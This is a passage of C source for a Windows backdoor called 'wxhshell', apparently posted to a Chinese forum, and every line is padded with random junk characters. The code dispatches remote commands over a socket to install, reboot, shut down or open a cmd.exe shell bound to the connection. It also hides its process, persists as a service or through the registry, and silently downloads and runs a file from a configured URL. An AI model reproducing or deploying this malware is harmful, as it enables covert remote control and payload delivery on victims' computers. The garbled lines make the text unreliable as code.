  else { J`U\3:b`SP  
W+[XNIg5   
    switch(cmd[0]) { Ca[H<nyj  
  >E;-asD  
  // 帮助 4Gl0h'!(  
  case '?': { EG<YxNX,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j rX .e  
    break; 9o<}*L   
  } sd;J(<Ofh  
  // 安装 &Q>)3]|p  
  case 'i': { GY@-}p~it  
    if(Install()) L-}>;M$Y)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); box(FjrZE  
    else  (f DA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E|ce[|2  
    break; 60KhwD1  
    } mX78Av.z!  
  // 卸载 FgILQ"+  
  case 'r': { yoKl.U"&  
    if(Uninstall()) usb.cE3 z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'J R2@W`]]  
    else Mp=2}d%P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HZBU?{  
    break; l0Myem v?z  
    } Cx$M  
  // 显示 wxhshell 所在路径 <szD"p|K  
  case 'p': { nJJ9>#<g$  
    char svExeFile[MAX_PATH]; Nf0'>`/  
    strcpy(svExeFile,"\n\r"); c[:OK9TH  
      strcat(svExeFile,ExeFile); 6Q<^,`/T  
        send(wsh,svExeFile,strlen(svExeFile),0); ZCJOh8  
    break; ]C |Zs=5  
    } k!e \O>+  
  // 重启 [KA&KI^hF  
  case 'b': { \Q+9sV 5,[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V[f-Nj Kf  
    if(Boot(REBOOT)) TrxZS_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i6R2R8  
    else { q\Cg2[nn2  
    closesocket(wsh); ! 8q+W`{  
    ExitThread(0); pkjf5DWp  
    } G}aw{Vbg_  
    break; e)dPv:oK3  
    } V[-4cu,Ph^  
  // 关机 ~b+TkPU   
  case 'd': { <rUH\z5cP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M17oAVN7D  
    if(Boot(SHUTDOWN)) +g_+JLQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k9j_#\E[  
    else { JzD Mx?  
    closesocket(wsh); v.,|#}0 o  
    ExitThread(0); T9r"vw  
    } {6%vmMbJ  
    break; t0_o .S  
    } ^R* _Q,o#  
  // 获取shell Bq~!_6fB  
  case 's': { {UpHHH:X#  
    CmdShell(wsh); -<kl d+  
    closesocket(wsh); (4_7ICFI  
    ExitThread(0); )3<|<jwcx  
    break; EL!V\J`S_  
  } DA)+)PhY7K  
  // 退出 Q3MG+@)S  
  case 'x': { QjH;'OVt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ' N$hbl  
    CloseIt(wsh); o -tc}Aa  
    break; ^UP!y!&N  
    } ,L#Qy>MOb  
  // 离开 o JC-?  
  case 'q': { OgJd^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); su]CaHU  
    closesocket(wsh); lqFDX d  
    WSACleanup(); ;cQhs7m(9  
    exit(1); NpV# zzE  
    break; (Fq|hgOA>M  
        } s(*L V2fa  
  } :5!>h8p;  
  } nU]n]gd  
B6)d2O9C  
  // 提示信息 D Q7+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); USz |Rh  
} ;xFx%^M}br  
  } n>]`8+a~%X  
C"bG?Mb  
  return; `f.okqBAh  
} XMb]&VvH  
nR)/k,3W  
// shell模块句柄 1e`/N+6u  
int CmdShell(SOCKET sock) x`8rR;N!  
{ H..g2;D  
STARTUPINFO si; L[\m{gN  
ZeroMemory(&si,sizeof(si)); n1OxT"tD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .kpL?_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l`9<mL  
PROCESS_INFORMATION ProcessInfo; SS?^-BI  
char cmdline[]="cmd"; W- Q:G=S-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eliT<sw8  
  return 0; A/n-.ci  
} FqQqjA  
WP)r5;Hv`  
// 自身启动模式 06@^knm  
int StartFromService(void) oBZ\mk L  
{ 40TS=evG  
typedef struct KL:x!GsV5e  
{ \7W>3  
  DWORD ExitStatus; =zw=J p  
  DWORD PebBaseAddress; ~jdvxoX-  
  DWORD AffinityMask; a12Q/K  
  DWORD BasePriority; m0xL'g6F  
  ULONG UniqueProcessId; 6*`KC)a  
  ULONG InheritedFromUniqueProcessId; 6 &~8TH  
}   PROCESS_BASIC_INFORMATION; qEvHrsw},  
RlH|G  
PROCNTQSIP NtQueryInformationProcess; *?|LE C  
\]Nlka  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VC%{qal;q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~R7F[R  
SMHQo/c r  
  HANDLE             hProcess; oRl~x^[%[-  
  PROCESS_BASIC_INFORMATION pbi; [JAHPy=+w  
>TSPEvWc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eF]`?AeWQ  
  if(NULL == hInst ) return 0; P{ YUW~  
Vfkm{*t)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hV5Aw;7C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O <;Au|>*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kTQ.7mo/\'  
USgZ%xk2  
  if (!NtQueryInformationProcess) return 0; ^0A}iJL  
zTtn`j$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p<b//^   
  if(!hProcess) return 0; G-`4TQ  
4 DhGp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *'5 )CC  
`Y Hn L4  
  CloseHandle(hProcess); *|)a@V L  
<A{|=2<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !cP2,l 'f  
if(hProcess==NULL) return 0; ^)$(Fe<  
V<X[>C'  
HMODULE hMod; eVL #3|=  
char procName[255]; ${(v Er#}k  
unsigned long cbNeeded; a1p Z{Od  
uw'>tb@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >< <(6  
>*DR>U  
  CloseHandle(hProcess); &PY~m<F  
0$RZ~  
if(strstr(procName,"services")) return 1; // 以服务启动 }xZR`xP(  
j\W"P_dpd  
  return 0; // 注册表启动 e/+_tC$@p@  
} 3khsGD@  
l&rS\TCkp  
// 主模块 ITcgp K6k  
int StartWxhshell(LPSTR lpCmdLine) MBy0Ky  
{ L=`QF'Im  
  SOCKET wsl; *nb `DR  
BOOL val=TRUE; <2b&AF{En  
  int port=0; r6 k/QZT  
  struct sockaddr_in door; m]C|8b7Y  
iBCZx>![;  
  if(wscfg.ws_autoins) Install(); 6T-h("t  
X`/3X}<$7  
port=atoi(lpCmdLine); [bE-Uu7q5P  
 Y j[M>v  
if(port<=0) port=wscfg.ws_port; L`sg60z  
Po(Y',xI[  
  WSADATA data; ug?gVK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M  ::  
A0mj!P9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6"3-8orj   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p~(+4uA  
  door.sin_family = AF_INET; m Acny$u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UZcsMMKH  
  door.sin_port = htons(port); w'Y(doY ,  
>"LHr&;m&h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^HS;\8Xvb  
closesocket(wsl); -cDS+ *[  
return 1; Uh6LU5  
} P X9GiJN"  
d|I_SI1  
  if(listen(wsl,2) == INVALID_SOCKET) { !VLk|6mn  
closesocket(wsl); :/rl \woA>  
return 1; n6AN  
} O} #Ic$38  
  Wxhshell(wsl); dO?zLc0f  
  WSACleanup(); &xhwx>C`K  
.AB n$ml]  
return 0; IP?15l w  
\[\4= !v  
} *}F>c3x]  
(Dat`:  
// 以NT服务方式启动 ^)J2tpr;]=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d_v]mfUF  
{ ^pB}eh.@U  
DWORD   status = 0; fL xGaOT  
  DWORD   specificError = 0xfffffff; W4OL{p-\/  
Uu_g_b:z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J&P{7a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BE0Ov{'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t`M4@1S"'  
  serviceStatus.dwWin32ExitCode     = 0; Cs:?9G  
  serviceStatus.dwServiceSpecificExitCode = 0; 8 x=J&d  
  serviceStatus.dwCheckPoint       = 0; }Z="}Dg|T  
  serviceStatus.dwWaitHint       = 0; <bSG|VqnH  
]et ]Vkg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :k; c|MW  
  if (hServiceStatusHandle==0) return; HZASIsl  
>-&B#Z^,  
status = GetLastError(); 8k( zU>^  
  if (status!=NO_ERROR) t4;eabZK  
{ 34*73WxK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R"wBDWs  
    serviceStatus.dwCheckPoint       = 0; uOQ!av2"Rf  
    serviceStatus.dwWaitHint       = 0; ]!c59%f=  
    serviceStatus.dwWin32ExitCode     = status; }4uHT.)  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y YE{zU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )])nd "E  
    return; }}Zwdpo  
  } |?cL>]t  
=l)D$l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3# g"Z7/  
  serviceStatus.dwCheckPoint       = 0; Wtwo1pp  
  serviceStatus.dwWaitHint       = 0; pD@:]VP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Cy frnU8g  
} 58SqB  
t)kc`3i<A  
// 处理NT服务事件,比如:启动、停止 n1!}d%:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VGY x(  
{ 12i<b  
switch(fdwControl) %nS(>X<B  
{ eS`ZC!W   
case SERVICE_CONTROL_STOP: R7o'V* d  
  serviceStatus.dwWin32ExitCode = 0; /3`yaYkSh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +Rj8 "p$K  
  serviceStatus.dwCheckPoint   = 0; vh$If0  
  serviceStatus.dwWaitHint     = 0; @~z4GTF9i  
  { +P &S0/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oSf6J:?*e  
  } 7z2Q!0Sz  
  return; 5gq  
case SERVICE_CONTROL_PAUSE: k/Z]zZC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NR>&1aRbyb  
  break; sck.2-f"  
case SERVICE_CONTROL_CONTINUE: =dT  #x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }6'%p Bd  
  break; +F?}<P_v  
case SERVICE_CONTROL_INTERROGATE: tP:ER  
  break; bMA0#e2  
}; b F MBIA|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {X\%7Zef+  
} Zg*XbX  
*V`E)maU  
// 标准应用程序主函数 ;b5^) S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .GSK!1{@  
{ 8I}ATc  
>"q?P^f/  
// 获取操作系统版本 'uW&AD p  
OsIsNt=GetOsVer(); Z=m5V(9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Gw$Y`]ipy  
4wkmgS  
  // 从命令行安装 A-eRL`  
  if(strpbrk(lpCmdLine,"iI")) Install(); !X5LgMw^;  
aBd>.]l?  
  // 下载执行文件 u}">b+{!  
if(wscfg.ws_downexe) { H %Dcp#k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [$DI!%e|  
  WinExec(wscfg.ws_filenam,SW_HIDE); zNO,vR[\  
} 8U%y[2sT  
/u&7!>,  
if(!OsIsNt) { ae#Qeow`  
// 如果时win9x,隐藏进程并且设置为注册表启动 vn+~P9SHQ  
HideProc(); :caXQ)  
StartWxhshell(lpCmdLine); ri2`M\;gt  
} 7Y%Si5  
else K0{ ,*>C  
  if(StartFromService()) n%ypxY0  
  // 以服务方式启动 -l~+cI\2  
  StartServiceCtrlDispatcher(DispatchTable); P8X59^cJ  
else ei82pLM z  
  // 普通方式启动 ]&?8l:3-G  
  StartWxhshell(lpCmdLine); I&%KOe0  
Eb7GiRT#  
return 0; "$nff=]  
}
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只看该作者 1 发表于: 2006-10-10
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